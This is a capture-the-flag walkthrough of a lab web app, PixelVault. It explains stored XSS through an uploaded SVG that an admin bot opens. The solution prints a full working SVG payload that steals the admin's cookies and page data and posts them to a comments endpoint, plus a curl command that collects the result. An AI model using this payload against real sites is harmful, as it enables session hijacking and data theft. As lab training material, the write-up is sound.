Lab 49 — PixelVault — Stored XSS via Malicious SVG Upload
Lab 49 — PixelVault — Stored XSS via Malicious SVG Upload
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, comments_api_exfiltration, same_origin_exfiltration, stored_xss_via_upload, svg_xss
Summary
Walkthrough of the CUSTOM Web Lab 49 — PixelVault — Stored XSS via Malicious SVG Upload. Task: File-sharing platform accepting SVG uploads served with image/svg+xml content-type, admin bot visits reported URLs. Solution: Upload malicious SVG with JavaScript that exfiltrates admin cookies
Description
PixelVault is a file-sharing platform built for creative teams to upload, organize, and share visual assets. Users can upload images (including SVG), manage folders, preview files in the browser, share links with teammates, and leave comments on shared files. The platform has an admin panel for managing users and reviewing reported content.
Goal: Find and exploit a vulnerability to steal sensitive information from the platform administrator.
English summary: A file-sharing platform that accepts SVG uploads. SVG files are served with image/svg+xml content-type, allowing embedded JavaScript to execute. An admin bot visits reported URLs, enabling cookie theft via stored XSS.
Target: https://dbb4d4fe-4051-43e5-a8d7-4de966c5ba74.labs.hackadvisor.io/ Credentials: user@test.com / password123
Analysis
Reconnaissance
- Logged in with provided credentials
- Explored upload functionality — accepts PNG, JPG, GIF, SVG, WebP files
- Found
/reportendpoint where admins visit reported URLs - Files are served at
/files/{id}/rawwith their original content-type - Discovered comments API at
/api/files/{fileId}/commentsaccepts JSON POST requests
Vulnerability Discovery
SVG files uploaded to the platform are served with Content-Type: image/svg+xml. Unlike image/png or other image types, SVG is an XML-based format that can contain embedded <script> tags. When a browser loads an SVG file directly (not via <img> tag), the JavaScript executes in the context of the serving domain.
Key findings:
- SVG files execute JavaScript when accessed via
/files/{id}/raw - Admin bot visits reported URLs — can be tricked into visiting malicious SVG
- External exfiltration blocked — admin bot cannot reach external URLs (webhook.site, etc.)
- Same-origin APIs available — comments endpoint can be used for data exfiltration
- Shared file preview sandboxed — iframe preview lacks
allow-same-origin, preventing cookie access
Attack Chain
- Upload malicious SVG with JavaScript payload
- Report the raw file URL to admin via
/report - Admin bot visits URL, JavaScript executes in admin's browser context
- Script captures admin's cookies and exfiltrates via same-origin comments API
- Retrieve exfiltrated data from comments
Solution
Step 1: Create Malicious SVG
The payload captures cookies and various page data, then posts it as a comment on a file we control:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <rect width="100" height="100" fill="purple"/> <script type="text/javascript"> var info = { cookie: document.cookie, location: window.location.href, origin: window.location.origin, referrer: document.referrer }; Promise.all([ fetch('/api/me', {credentials: 'include'}).then(r => r.text()).catch(e => "me-err"), fetch('/profile', {credentials: 'include'}).then(r => r.text()).catch(e => "profile-err"), fetch('/dashboard', {credentials: 'include'}).then(r => r.text()).catch(e => "dash-err") ]).then(results => { info.me = results[0].substring(0, 500); info.profile = results[1].substring(0, 500); info.dashboard = results[2].substring(0, 800); fetch('/api/files/32/comments', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({content: JSON.stringify(info)}) }); }); </script> </svg>
Step 2: Upload and Report
- Upload the malicious SVG file to the platform
- Note the file ID (e.g., 36)
- Report the raw file URL
/files/36/rawto admin via the report functionality
Step 3: Retrieve Exfiltrated Data
Check comments on the target file:
bash read-only • copy allowedcurl -s "https://dbb4d4fe-4051-43e5-a8d7-4de966c5ba74.labs.hackadvisor.io/api/files/32/comments" \ -H "Cookie: session=..." | jq
Exfiltrated Data
json read-only • copy allowed{ "cookie": "flag=FLAG{REDACTED}", "location": "http://localhost:8080/files/36/raw", "origin": "http://localhost:8080" }
The admin's cookie contains the flag directly.
Dead Ends
- External webhook exfiltration — admin bot couldn't reach external URLs (webhook.site, etc.)
- Shared file preview — uses sandboxed iframe without
allow-same-origin, JavaScript can't access parent cookies - Simple alert payloads — confirmed XSS but didn't help extract data
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, comments_api_exfiltration, same_origin_exfiltration, stored_xss_via_upload, svg_xss was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 49 — PixelVault — Stored XSS via Malicious SVG Upload • Difficulty: Medium